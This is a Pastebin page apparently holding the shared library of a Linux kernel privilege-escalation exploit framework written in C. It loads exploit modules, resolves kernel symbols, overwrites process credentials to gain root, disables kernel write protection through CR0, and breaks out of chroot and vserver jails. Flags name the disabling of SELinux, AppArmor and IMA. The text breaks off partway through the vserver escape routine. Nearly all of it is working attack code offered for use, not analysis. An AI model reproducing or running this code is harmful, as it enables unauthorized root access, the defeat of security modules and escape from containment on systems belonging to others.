Advertisement
PalmaSolutions

exploit.c

Apr 21st, 2018
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 52.26 KB | None | 0 0
  1. /* exploit lib */
  2.  
  3. #include <asm/unistd.h>
  4. #include <signal.h>
  5. #include <stdbool.h>
  6. #include <stddef.h>
  7. #include <stdint.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <sys/file.h>
  12. #include <sys/mman.h>
  13. #include <sys/socket.h>
  14. #include <sys/types.h>
  15. #include <sys/user.h>
  16. #include <sys/stat.h>
  17. #include <sys/utsname.h>
  18. #include <sys/personality.h>
  19. #include <time.h>
  20. #include <unistd.h>
  21. #include <fnmatch.h>
  22. #include <dirent.h>
  23. #include <dlfcn.h>
  24. #include <grp.h>
  25. #ifdef HAVE_SELINUX
  26. #include <selinux/selinux.h>
  27. #include <selinux/context.h>
  28. #endif
  29.  
  30. #ifndef PATH_MAX
  31. #define PATH_MAX 4095
  32. #endif
  33.  
  34. /* defines for prepare_the_exploit */
  35.  /* for null fptr derefs */
  36. #define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
  37.  /* for overflows */
  38. #define EXIT_KERNEL_TO_NULL 0x31336
  39.  
  40. #define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
  41.  
  42. /* defines for post_exploit */
  43. #define RUN_ROOTSHELL 0x5150
  44. #define CHMOD_SHELL 0x5151
  45. #define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
  46.  
  47. typedef unsigned long (*_get_kernel_sym)(char *name);
  48. typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
  49.  
  50. struct exploit_state {
  51.     _get_kernel_sym get_kernel_sym;
  52.     _kallsyms_lookup_name kallsyms_lookup_name;
  53.     void *own_the_kernel;
  54.     void *exit_kernel;
  55.     char *exit_stack;
  56.     int run_from_main;
  57.     int got_ring0;
  58.     int got_root;
  59. };
  60.  
  61. #define EFL_RESERVED1 (1 << 1)
  62. #define EFL_PARITY (1 << 2)
  63. #define EFL_ZEROFLAG (1 << 6)
  64. #define EFL_INTERRUPTENABLE (1 << 9)
  65. #define EFL_IOPL3 ((1 << 12) | (1 << 13))
  66.  
  67. #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
  68. /* for insta-iopl 3, for whatever reason!
  69.    #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
  70. */
  71.  
  72. #define DISABLED_LSM        0x1
  73. #define DISABLED_IMA        0x2
  74. #define DISABLED_APPARMOR   0x4
  75. #define DISABLED_SELINUX    0x8
  76.  
  77.  
  78.  
  79. typedef int (*_prepare_for_exploit)(unsigned char *buf);
  80. typedef int (*_trigger_the_bug)(void);
  81. typedef int (*_post_exploit)(void);
  82. typedef int (*_ring0_cleanup)(void);
  83. typedef int (*_get_exploit_state_ptr)(struct exploit_state *exp_state);
  84.  
  85. #define MAX_EXPLOITS 32
  86.  
  87. struct exploit_module {
  88.     char desc[512];
  89.     _get_exploit_state_ptr get_exploit_state_ptr;
  90.     _prepare_for_exploit prep;
  91.     _trigger_the_bug trigger;
  92.     _post_exploit post;
  93.     _ring0_cleanup ring0_cleanup;
  94.     int requires_null_page;
  95.     int requires_symbols_to_trigger;
  96. } modules[MAX_EXPLOITS];
  97. int num_exploits = 0;
  98.  
  99. int check_entry(const struct dirent *dir)
  100. {
  101.     if (!fnmatch("exp_*.so", dir->d_name, 0))
  102.         return 1;
  103.     return 0;
  104. }
  105.  
  106. void add_exploit_modules(void)
  107. {
  108.     struct dirent **namelist;
  109.     void *mod;
  110.     void *desc, *prepare, *trigger, *post, *get_exp_state_ptr, *requires_null_page, *ring0_cleanup, *requires_symbols_to_trigger;
  111.     char tmpname[PATH_MAX];
  112.     int n;
  113.     int i;
  114.     n = scandir(".", &namelist, &check_entry, alphasort);
  115.     if (n < 0) {
  116.         fprintf(stdout, "No exploit modules found, exiting...\n");
  117.         exit(1);
  118.     }
  119.     for (i = 0; i < n; i++) {
  120.         snprintf(tmpname, sizeof(tmpname)-1, "./%s", namelist[i]->d_name);
  121.         tmpname[sizeof(tmpname)-1] = '\0';
  122.         mod = dlopen(tmpname, RTLD_NOW);
  123.         if (mod == NULL) {
  124. unable_to_load:
  125.             fprintf(stdout, "Unable to load %s\n", namelist[i]->d_name);
  126.             free(namelist[i]);
  127.             continue;
  128.         }
  129.         desc = dlsym(mod, "desc");
  130.         prepare = dlsym(mod, "prepare");
  131.         ring0_cleanup = dlsym(mod, "ring0_cleanup");
  132.         trigger = dlsym(mod, "trigger");
  133.         post = dlsym(mod, "post");
  134.         requires_null_page = dlsym(mod, "requires_null_page");
  135.         requires_symbols_to_trigger = dlsym(mod, "requires_symbols_to_trigger");
  136.         get_exp_state_ptr = dlsym(mod, "get_exploit_state_ptr");
  137.  
  138.         if (desc == NULL || prepare == NULL || trigger == NULL || post == NULL || get_exp_state_ptr == NULL || requires_null_page == NULL)
  139.             goto unable_to_load;
  140.  
  141. #ifdef NON_NULL_ONLY
  142.         if (*(int *)requires_null_page) {
  143.             free(namelist[i]);
  144.             continue;
  145.         }
  146. #else
  147.         if (!*(int *)requires_null_page) {
  148.             free(namelist[i]);
  149.             continue;
  150.         }
  151. #endif
  152.  
  153.         if (num_exploits >= MAX_EXPLOITS) {
  154.             fprintf(stdout, "Max exploits reached.\n");
  155.             return;
  156.         }
  157.         strncpy(modules[num_exploits].desc, *(char **)desc, sizeof(modules[num_exploits].desc) - 1);
  158.         modules[num_exploits].desc[sizeof(modules[num_exploits].desc)-1] = '\0';
  159.         modules[num_exploits].prep = (_prepare_for_exploit)prepare;
  160.         modules[num_exploits].trigger = (_trigger_the_bug)trigger;
  161.         modules[num_exploits].post = (_post_exploit)post;
  162.         modules[num_exploits].ring0_cleanup = (_ring0_cleanup)ring0_cleanup;
  163.         modules[num_exploits].get_exploit_state_ptr = (_get_exploit_state_ptr)get_exp_state_ptr;
  164.         modules[num_exploits].requires_null_page = *(int *)requires_null_page;
  165.         modules[num_exploits].requires_symbols_to_trigger = requires_symbols_to_trigger ? *(int *)requires_symbols_to_trigger : 0;
  166.         free(namelist[i]);
  167.         num_exploits++;
  168.     }
  169.  
  170.     return;
  171. }
  172.  
  173. struct exploit_state exp_state;
  174. int eightk_stack = 0;
  175. int twofourstyle = 0;
  176. int raised_caps = 0;
  177. unsigned long current_addr = 0;
  178. int cred_support = 0;
  179. int cred_offset = 0;
  180. int fs_offset = 0;
  181. int aio_read_offset = 0;
  182. int has_vserver = 0;
  183. int vserver_offset = 0;
  184. unsigned long init_cred_addr = 0;
  185. unsigned long default_exec_domain = 0;
  186.  
  187. #define TASK_RUNNING 0
  188.  
  189. #ifdef __x86_64__
  190. #define KERNEL_BASE 0xffffffff81000000UL
  191. #define KSTACK_MIN  0xffff800000000000UL
  192. #define KSTACK_MAX  0xfffffffff0000000UL
  193. #else
  194. #define KERNEL_BASE 0xc0000000UL
  195. #define KSTACK_MIN  0xc0000000UL
  196. #define KSTACK_MAX  0xfffff000UL
  197. #endif
  198.  
  199. char *exit_stack;
  200.  
  201. static inline unsigned long get_current_4k(void)
  202. {
  203.     unsigned long current = 0;
  204.     unsigned long exec_domain = 0;
  205.  
  206.     current = (unsigned long)&current;
  207.  
  208.     exec_domain = *(unsigned long *)((current & ~(0x1000 - 1)) + sizeof(unsigned long));
  209.     current = *(unsigned long *)(current & ~(0x1000 - 1));
  210.     if (current < KSTACK_MIN || current > KSTACK_MAX)
  211.         return 0;
  212.     if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
  213.         return 0;
  214.     if (default_exec_domain && exec_domain != default_exec_domain)
  215.         return 0;
  216.     if (*(long *)current != TASK_RUNNING)
  217.         return 0;
  218.  
  219.     return current;
  220. }
  221.  
  222. static inline unsigned long get_current_8k(void)
  223. {
  224.     unsigned long current = 0;
  225.     unsigned long exec_domain = 0;
  226.     unsigned long oldstyle = 0;
  227.  
  228.     eightk_stack = 1;
  229.  
  230.     current = (unsigned long)&current;
  231.     oldstyle = current & ~(0x2000 - 1);
  232.     current = *(unsigned long *)(oldstyle);
  233.     exec_domain = *(unsigned long *)(oldstyle + sizeof(unsigned long));
  234.  
  235.     twofourstyle = 1;
  236.     if (current < KSTACK_MIN || current > KSTACK_MAX)
  237.         return oldstyle;
  238.     if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
  239.         return oldstyle;
  240.     if (default_exec_domain && exec_domain != default_exec_domain)
  241.         return oldstyle;
  242.     if (*(long *)current != TASK_RUNNING)
  243.         return oldstyle;
  244.  
  245.     twofourstyle = 0;
  246.     return current;
  247. }
  248.  
  249. static int requires_symbols_to_trigger;
  250.  
  251. static int kallsyms_is_hidden;
  252.  
  253. static unsigned long get_kernel_sym(char *name)
  254. {
  255.     FILE *f;
  256.     unsigned long addr;
  257.     char dummy;
  258.     char sname[512];
  259.     struct utsname ver;
  260.     int ret;
  261.     int rep = 0;
  262.     int oldstyle = 0;
  263.  
  264.     if (kallsyms_is_hidden)
  265.         goto fallback;
  266.  
  267.     f = fopen("/proc/kallsyms", "r");
  268.     if (f == NULL) {
  269.         f = fopen("/proc/ksyms", "r");
  270.         if (f == NULL)
  271.             goto fallback;
  272.         oldstyle = 1;
  273.     }
  274.  
  275. repeat:
  276.     ret = 0;
  277.     while(ret != EOF) {
  278.         if (!oldstyle)
  279.             ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  280.         else {
  281.             ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
  282.             if (ret == 2) {
  283.                 char *p;
  284.                 if (strstr(sname, "_O/") || strstr(sname, "_S."))
  285.                     continue;
  286.                 p = strrchr(sname, '_');
  287.                 if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
  288.                     p = p - 4;
  289.                     while (p > (char *)sname && *(p - 1) == '_')
  290.                         p--;
  291.                     *p = '\0';
  292.                 }
  293.             }
  294.         }
  295.         if (ret == 0) {
  296.             fscanf(f, "%s\n", sname);
  297.             continue;
  298.         }
  299.         if (!strcmp(name, sname) && addr) {
  300.             fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
  301.             fclose(f);
  302.             return addr;
  303.         } else if (!strcmp(name, sname)) {
  304.             kallsyms_is_hidden = 1;
  305.         }
  306.     }
  307.  
  308.     fclose(f);
  309.     if (rep == 2)
  310.         return 0;
  311.     else if (rep == 1)
  312.         goto fallback2;
  313. fallback:
  314.     /* didn't find the symbol, let's retry with the System.map
  315.        dedicated to the pointlessness of Russell Coker's SELinux
  316.        test machine (why does he keep upgrading the kernel if
  317.        "all necessary security can be provided by SE Linux"?)
  318.     */
  319.     uname(&ver);
  320.     if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
  321.         oldstyle = 1;
  322.     sprintf(sname, "/boot/System.map-%s", ver.release);
  323.     f = fopen(sname, "r");
  324.     if (f == NULL)
  325.         goto fallback2;
  326.     rep = 1;
  327.     goto repeat;
  328. fallback2:
  329.     /* didn't find the symbol, let's retry with the System.map
  330.        dedicated to the pointlessness of Russell Coker's SELinux
  331.        test machine (why does he keep upgrading the kernel if
  332.        "all necessary security can be provided by SE Linux"?)
  333.     */
  334.     uname(&ver);
  335.     if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
  336.         oldstyle = 1;
  337.     sprintf(sname, "./System.map-%s", ver.release);
  338.     f = fopen(sname, "r");
  339.     if (f == NULL) {
  340.         sprintf(sname, "./System.map");
  341.         f = fopen(sname, "r");
  342.         if (f == NULL) {
  343.             if (requires_symbols_to_trigger) {
  344.                 printf("Unable to acquire kernel symbols.  Copy the appropriate System.map to the current directory.\n");
  345.                 exit(1);
  346.             } else
  347.                 return 0;
  348.         }
  349.     }
  350.     rep = 2;
  351.     goto repeat;
  352. }
  353.  
  354. /* for switching from interrupt to process context */
  355. unsigned long *ptmx_fops;
  356.  
  357. /* check for xen support */
  358. unsigned long *xen_start_info;
  359. int xen_detected;
  360. int can_change_ptes;
  361.  
  362. /* check if DEBUG_RODATA only protects .rodata */
  363. unsigned long mark_rodata_ro;
  364. unsigned long set_kernel_text_ro;
  365.  
  366. int *audit_enabled;
  367. int *ima_audit;
  368.  
  369. int *selinux_enforcing;
  370. int *selinux_enabled;
  371. int *sel_enforce_ptr;
  372.  
  373. int *apparmor_enabled;
  374. int *apparmor_logsyscall;
  375. int *apparmor_audit;
  376. int *apparmor_complain;
  377.  
  378. unsigned long *init_task;
  379. unsigned long init_fs;
  380.  
  381. unsigned long *bad_file_ops;
  382. unsigned long bad_file_aio_read;
  383.  
  384. unsigned long vc_sock_stat;
  385.  
  386. unsigned char *ima_bprm_check;
  387. unsigned char *ima_file_mmap;
  388. unsigned char *ima_path_check;
  389. /* whoa look at us, 2.6.33 support before it's even released */
  390. unsigned char *ima_file_check;
  391.  
  392. unsigned long *security_ops;
  393. unsigned long default_security_ops;
  394.  
  395. unsigned long sel_read_enforce;
  396.  
  397. int what_we_do;
  398.  
  399. unsigned int our_uid;
  400.  
  401. typedef void __attribute__((regparm(3))) (* _set_fs_root)(unsigned long fs, unsigned long path);
  402. typedef void __attribute__((regparm(3))) (* _set_fs_pwd)(unsigned long fs, unsigned long path);
  403. typedef bool __attribute__((regparm(3))) (* _virt_addr_valid)(unsigned long addr);
  404.  
  405. typedef void __attribute__((regparm(3))) (* _prepare_ve0_process)(unsigned long tsk);
  406.  
  407. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  408. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  409.  
  410. typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readonly)(unsigned long addr);
  411. typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readwrite)(unsigned long addr);
  412.  
  413. _make_lowmem_page_readonly make_lowmem_page_readonly;
  414. _make_lowmem_page_readwrite make_lowmem_page_readwrite;
  415. _commit_creds commit_creds;
  416. _prepare_kernel_cred prepare_kernel_cred;
  417. _prepare_ve0_process prepare_ve0_process;
  418. _set_fs_root set_fs_root;
  419. _set_fs_pwd set_fs_pwd;
  420. _virt_addr_valid virt_addr_valid;
  421.  
  422. struct cred {
  423.     int usage; // must be >= 4
  424.     int uid; // 0
  425.     int gid; // 0
  426.     int suid; // 0
  427.     int sgid; // 0
  428.     int euid; // 0
  429.     int egid; // 0
  430.     int fsuid; // 0
  431.     int fsgid; // 0
  432.     int securebits; // SECUREBITS_DEFAULT 0x00000000
  433.     unsigned int cap_inheritable[2]; // CAP_INIT_INH_SET {0, 0}
  434.     unsigned int cap_permitted[2]; // CAP_FULL_SET { ~0, ~0 }
  435.     unsigned int cap_effective[2]; // CAP_INIT_EFF_SET { ~(1 << 8), ~0 }
  436.     unsigned int cap_bset[2]; // CAP_INIT_BSET -> CAP_FULL_SET || CAP_INIT_EFF_SET
  437. };
  438.  
  439. static inline unsigned long *pg_to_ptr(unsigned long addr)
  440. {
  441.     return (unsigned long *)(0xffff880000000000UL + (addr & 0x000ffffffffff000UL));
  442. }
  443.  
  444. static inline unsigned long pte_to_kaddr(unsigned long pte)
  445. {
  446.     return 0xffffffff80000000UL + (pte & 0x000ffffffffff000UL);
  447. }
  448.  
  449. #define NUM_RANGES 32
  450.  
  451. static unsigned long valid_ranges[NUM_RANGES][2];
  452.  
  453. /* elito #2 */
  454. static inline void find_kernel_ranges(void)
  455. {
  456.     unsigned long i, z, t;
  457.     unsigned long _cr3;
  458.     unsigned long *kernelpg;
  459.     unsigned long *kernelpte;
  460.     int rangeidx = 0;
  461.     int x = -1;
  462.  
  463.     if (valid_ranges[0][0])
  464.         return;
  465.  
  466.     asm volatile (
  467.     "mov %%cr3, %0"
  468.     : "=r" (_cr3)
  469.     );
  470.  
  471.     kernelpg = pg_to_ptr(pg_to_ptr(pg_to_ptr(_cr3)[511])[510]);
  472.     for (i = 0; i < 511; i++) {
  473.         if ((kernelpg[i] & 1) && x < 0) {
  474.             x = i;
  475.         }
  476.         if (!(kernelpg[i+1] & 1) && x >= 0) {
  477.             break;
  478.         }
  479.     }
  480.     for (z = x; z <= i; z++) {
  481.         // large page
  482.         if ((kernelpg[z] & (1 << 7)) && !valid_ranges[rangeidx][0])
  483.             valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpg[z]);
  484.         else if (!(kernelpg[z] & (1 << 7))) {
  485.             // check 4K pages
  486.             kernelpte = pg_to_ptr(kernelpg[z]);
  487.             for (t = 0; t < 511; t++) {
  488.                 if ((kernelpte[t] & 0x1) && !valid_ranges[rangeidx][0])
  489.                     valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpte[t]);
  490.                 else if (!(kernelpte[t] & 0x1) && !valid_ranges[rangeidx][1]) {
  491.                     valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[z]);
  492.                     rangeidx++;
  493.                 }
  494.                 else if (!(kernelpte[t+1] & 0x1) && !valid_ranges[rangeidx][1]) {
  495.                     valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpte[t]) + 0x1000;
  496.                     rangeidx++;
  497.                 }
  498.             }
  499.         }
  500.     }
  501.     if (valid_ranges[rangeidx][0] && !valid_ranges[rangeidx][1]) {
  502.         valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[i]) + 0x200000;
  503.     }
  504. }
  505.  
  506. static inline unsigned long find_init_cred(void)
  507. {
  508.     unsigned long len;
  509.     struct cred *tmp;
  510.     int i, x;
  511.  
  512.     find_kernel_ranges();
  513.     if (!valid_ranges[0][0] || !valid_ranges[0][1])
  514.         return 0;
  515.  
  516.     for (x = 0; valid_ranges[x][0]; x++) {
  517.     for (i = 0; i < valid_ranges[x][1] - valid_ranges[x][0] - sizeof(struct cred); i++) {
  518.         tmp = (struct cred *)valid_ranges[x][0];
  519.         if (tmp->usage >= 4 && tmp->uid == 0 && tmp->gid == 0 &&
  520.             tmp->suid == 0 && tmp->sgid == 0 && tmp->euid == 0 &&
  521.             tmp->egid == 0 && tmp->fsuid == 0 && tmp->fsgid == 0 &&
  522.             tmp->securebits == 0 && tmp->cap_inheritable[0] == 0 &&
  523.             tmp->cap_inheritable[1] == 0 && tmp->cap_permitted[0] == ~0 &&
  524.             tmp->cap_permitted[1] == ~0 &&
  525.             (tmp->cap_effective[0] == ~(1 << 8) || tmp->cap_effective[0] == ~0) &&
  526.             tmp->cap_effective[1] == ~0 &&
  527.             (tmp->cap_bset[0] == ~0 || tmp->cap_bset[0] == ~(1 << 8)) &&
  528.             tmp->cap_bset[1] == ~0)
  529.             return (unsigned long)tmp;
  530.     }
  531.     }
  532.  
  533.     return 0UL;
  534. }
  535.  
  536. static void bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(unsigned long orig_current)
  537. {
  538.     /* cause it's a trillion dollar industry */
  539.     unsigned char *current = (unsigned char *)orig_current;
  540.     struct cred *init_cred_addr, **cred, **real_cred;
  541.     int i;
  542.  
  543.     init_cred_addr = (struct cred *)find_init_cred();
  544.     if (!init_cred_addr)
  545.         return;
  546.  
  547.     /* ok, we couldn't find our UIDs in the task struct
  548.        and we don't have the symbols for the creds
  549.        framework, discover it in a stupidly easy way:
  550.        in task_struct:
  551.        ...stuff...
  552.        const struct cred *real_cred;
  553.        const struct cred *cred;
  554.        struct mutex cred_exec_mutex;
  555.        char comm[16];
  556.        ...stuff...
  557.  
  558.        if we were executed from main, then our name is
  559.        "exploit", otherwise it's "pulseaudio"
  560.        then we find init_cred through heuristics
  561.        increment its refcnt appropriately
  562.        and set up our credentials
  563.     */
  564.  
  565.     for (i = 0; i < 0x1000 - 16; i++) {
  566.         if ((exp_state.run_from_main == 1 && !memcmp(&current[i], "exploit", strlen("exploit") + 1)) ||
  567.             (exp_state.run_from_main == 0 && !memcmp(&current[i], "pulseaudio", strlen("pulseaudio") + 1))) {
  568.             /* now work backwards till we find the two cred pointers
  569.             */
  570.             for (i-=sizeof(unsigned long); i > sizeof(unsigned long); i-=sizeof(unsigned long)) {
  571.                 if (*((unsigned long *)&current[i]) != *((unsigned long *)&current[i-sizeof(unsigned long)]))
  572.                     continue;
  573.                  // unlocked
  574.                 cred_offset = i - sizeof(char *);
  575.                 real_cred = (struct cred **)&current[i-sizeof(char *)];
  576.                 cred = (struct cred **)&current[i];
  577.                 /* found init_cred, so now point our
  578.                    cred struct to it, and increment usage!
  579.                 */
  580.                 *real_cred = *cred = init_cred_addr;
  581.                 init_cred_addr->usage+=2;
  582.                 exp_state.got_root = 1;
  583.                 return;
  584.             }
  585.             return;
  586.         }
  587.     }
  588.     return;
  589. }
  590.  
  591. static void give_it_to_me_any_way_you_can(void)
  592. {
  593.     unsigned long orig_current;
  594.  
  595.     orig_current = get_current_4k();
  596.     if (orig_current == 0)
  597.         orig_current = get_current_8k();
  598.  
  599.     current_addr = orig_current;
  600.  
  601.     if (commit_creds && prepare_kernel_cred) {
  602.         commit_creds(prepare_kernel_cred(0));
  603.         exp_state.got_root = 1;
  604.     } else {
  605.         unsigned int *current;
  606.  
  607.         current = (unsigned int *)orig_current;
  608.         while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
  609.             (current[0] != our_uid || current[1] != our_uid ||
  610.              current[2] != our_uid || current[3] != our_uid))
  611.             current++;
  612.  
  613.         if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
  614.             bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(orig_current);
  615.             cred_support = 1;
  616.             return;
  617.         }
  618.         exp_state.got_root = 1;
  619.         /* clear the UIDs and GIDs */
  620.         memset(current, 0, sizeof(unsigned int) * 8);
  621.         /* now let's try to elevate our capabilities as well (pre-creds structure)
  622.            2.4 has next: int ngroups; gid_t groups[NGROUPS]; then caps
  623.            2.6 has next: struct group_info *group_info; then caps
  624.            we could actually capget, but lets assume all three are 0
  625.            in both cases, the capabilities occur before:
  626.             unsigned keep_capabilities:1;
  627.             struct user_struct *user;
  628.            so we'll be fine with clobbering all 0s in between
  629.           */
  630.         {
  631.             int i;
  632.             int zeroed;
  633.  
  634.             current += 8; // skip uids/gids
  635.             /* skip over any next pointer */
  636.             current += (sizeof(unsigned long) == sizeof(unsigned int)) ? 1 : 2;
  637.             for (i = 0; i < 40; i++) {
  638.                 if (!current[i]) {
  639.                     zeroed = 1;
  640.                     current[i] = 0xffffffff;
  641.                     raised_caps = 1;
  642.                 /* once we zero a block, stop when we
  643.                    find something non-zero
  644.                 */
  645.                 } else if (zeroed)
  646.                     break;
  647.             }
  648.         }
  649.     }
  650.  
  651.     return;
  652. }
  653.  
  654. unsigned long inline get_cr0(void)
  655. {
  656.     unsigned long _cr0;
  657.  
  658.     asm volatile (
  659.     "mov %%cr0, %0"
  660.     : "=r" (_cr0)
  661.     );
  662.  
  663.     return _cr0;
  664. }
  665.  
  666. void inline set_cr0(unsigned long _cr0)
  667. {
  668.     asm volatile (
  669.     "mov %0, %%cr0"
  670.     :
  671.     : "r" (_cr0)
  672.     );
  673. }
  674.  
  675. int inline turn_off_wp(void)
  676. {
  677.     unsigned long _cr0;
  678.  
  679.     /* if xen is enabled and we can change ptes then we'll do that */
  680.     if (can_change_ptes)
  681.         return 1;
  682.     /* don't do it if xen is enabled and we can't just
  683.        write to kernel .text */
  684.     if (xen_detected && mark_rodata_ro && set_kernel_text_ro)
  685.         return 0;
  686.     /* if it's just xen, don't use cr0 or we'll GPF */
  687.     if (xen_detected)
  688.         return 1;
  689.  
  690.     _cr0 = get_cr0();
  691.     _cr0 &= ~0x10000;
  692.     set_cr0(_cr0);
  693.  
  694.     return 1;
  695. }
  696.  
  697. void inline turn_on_wp(void)
  698. {
  699.     unsigned long _cr0;
  700.  
  701.     /* if it's just xen, don't use cr0 or we'll GPF */
  702.     if (xen_detected)
  703.         return;
  704.  
  705.     _cr0 = get_cr0();
  706.     _cr0 |= 0x10000;
  707.     set_cr0(_cr0);
  708. }
  709.  
  710. unsigned long trigger_retaddr;
  711.  
  712. unsigned long user_cs;
  713. unsigned long user_ss;
  714. unsigned long user_gs;
  715.  
  716. static void get_segment_descriptors(void)
  717. {
  718. #ifdef __x86_64__
  719.     asm volatile (
  720.     "movq %%cs, %0 ;"
  721.     "movq %%ss, %1 ;"
  722.     : "=r" (user_cs), "=r" (user_ss)
  723.     :
  724.     : "memory"
  725.     );
  726. #else
  727.     asm volatile (
  728.     "push %%cs ;"
  729.     "pop %0 ;"
  730.     "push %%ss ;"
  731.     "pop %1 ;"
  732.     "push %%gs ;"
  733.     "pop %2 ;"
  734.     : "=r" (user_cs), "=r" (user_ss), "=r" (user_gs)
  735.     :
  736.     : "memory"
  737.     );
  738. #endif
  739. }
  740.  
  741.  
  742. /* greets to qaaz */
  743. static void exit_kernel(void)
  744. {
  745. #ifdef __x86_64__
  746.     asm volatile (
  747.     "swapgs ;"
  748.     "movq %0, 0x20(%%rsp) ;"
  749.     "movq %1, 0x18(%%rsp) ;"
  750.     "movq %2, 0x10(%%rsp) ;"
  751.     "movq %3, 0x08(%%rsp) ;"
  752.     "movq %4, 0x00(%%rsp) ;"
  753.     "iretq"
  754.     : : "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS),
  755.     "r" (user_cs), "r" (trigger_retaddr)
  756.     );
  757. #else
  758.     asm volatile (
  759.     "pushl %0 ;"
  760.     "pop %%gs ;"
  761.     "movl %1, 0x10(%%esp) ;"
  762.     "movl %2, 0x0c(%%esp) ;"
  763.     "movl %3, 0x08(%%esp) ;"
  764.     "movl %4, 0x04(%%esp) ;"
  765.     "movl %5, 0x00(%%esp) ;"
  766.     "iret"
  767.     : : "r" (user_gs), "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS),
  768.     "r" (user_cs), "r" (trigger_retaddr)
  769.     );
  770. #endif
  771. }
  772.  
  773. static _trigger_the_bug trigger;
  774. static int main_ret;
  775.  
  776. void trigger_get_return(void)
  777. {
  778.     trigger_retaddr = (unsigned long)__builtin_return_address(0);
  779.     main_ret = trigger();
  780.     if (!main_ret)
  781.         exit(0);
  782.     return;
  783. }
  784.  
  785. static void make_range_readwrite(unsigned long start, unsigned long len)
  786. {
  787.     unsigned long end;
  788.  
  789.     if (!can_change_ptes)
  790.         return;
  791.  
  792.     end = start + len;
  793.  
  794.     make_lowmem_page_readwrite(start);
  795.  
  796.     // check if the entire range fits in one page
  797.     if ((start >> 12) != (end >> 12))
  798.         make_lowmem_page_readwrite(end);
  799.  
  800.     return;
  801. }
  802. static void make_range_readonly(unsigned long start, unsigned long len)
  803. {
  804.     unsigned long end;
  805.  
  806.     if (!can_change_ptes)
  807.         return;
  808.  
  809.     end = start + len;
  810.  
  811.     make_lowmem_page_readonly(start);
  812.  
  813.     // check if the entire range fits in one page
  814.     if ((start >> 12) != (end >> 12))
  815.         make_lowmem_page_readonly(end);
  816.  
  817.     return;
  818. }
  819.  
  820. static _ring0_cleanup ring0_cleanup;
  821. static unsigned long get_kallsyms_lookup_name(void);
  822.  
  823. static int return_to_process_context;
  824.  
  825. static inline int are_interrupts_disabled(void)
  826. {
  827.     unsigned long flags;
  828.  
  829. #ifdef __x86_64
  830.     asm volatile(
  831.     "pushfq\n"
  832.     "mov (%%rsp), %0\n"
  833.     "popfq\n"
  834.     : "=r" (flags)
  835.     );
  836. #else
  837.     asm volatile(
  838.     "pushf\n"
  839.     "mov (%%esp), %0\n"
  840.     "popf\n"
  841.     : "=r" (flags)
  842.     );
  843. #endif
  844.  
  845.     return !(flags & (1 << 9));
  846. }
  847.  
  848. static inline void chroot_breakout(void)
  849. {
  850.     int x, z;
  851.     unsigned long *fsptr;
  852.     unsigned long *initfsptr;
  853.  
  854.     if (!init_task || !init_fs || !set_fs_root || !set_fs_pwd || !current_addr || !virt_addr_valid)
  855.         return;
  856.  
  857.     initfsptr = (unsigned long *)init_fs;
  858.  
  859.     for (x = 0; x < 0x1000/sizeof(unsigned long); x++) {
  860.         if (init_task[x] != init_fs)
  861.             continue;
  862.         fs_offset = x * sizeof(unsigned long);
  863.         fsptr = (unsigned long *)*(unsigned long *)(current_addr + fs_offset);
  864.         if (fsptr == NULL)
  865.             continue;
  866.         // we replace root and pwd too, so adjust reference counters
  867.         // accordingly
  868.         for (z = 0; z < 6; z++) {
  869.             /* lemony snicket's a series of unfortunate ints */
  870. #ifdef __x86_64__
  871.             if (fsptr[z] == 0xffffffff00000000UL)
  872.                 continue;
  873. #endif
  874.             if (virt_addr_valid(fsptr[z]) && virt_addr_valid(fsptr[z+1]) &&
  875.                 virt_addr_valid(fsptr[z+2]) && virt_addr_valid(fsptr[z+3])) {
  876.                 set_fs_root((unsigned long)fsptr, (unsigned long)&initfsptr[z]);
  877.                 set_fs_pwd((unsigned long)fsptr, (unsigned long)&initfsptr[z+2]);
  878.                 return;
  879.             }
  880.         }
  881.         return;
  882.     }
  883. }
  884.  
  885. struct vserver_struct {
  886.     unsigned long val1;
  887.     unsigned long val2;
  888.     unsigned int val3;
  889.     unsigned int val4;
  890. };
  891.  
  892. static inline void vserver_breakout(void)
  893. {
  894.     char zeroes[32] = {};
  895.     int vserver_base;
  896.     unsigned int *vinfo, *ninfo;
  897.     unsigned long *curr;
  898.     struct vserver_struct *vserv;
  899.     int x;
  900.  
  901.     if (!init_task || !current_addr || !virt_addr_valid || !vc_sock_stat)
  902.         return;
  903.  
  904.     for (x = 0; x < 0x1000/sizeof(unsigned long); x++) {
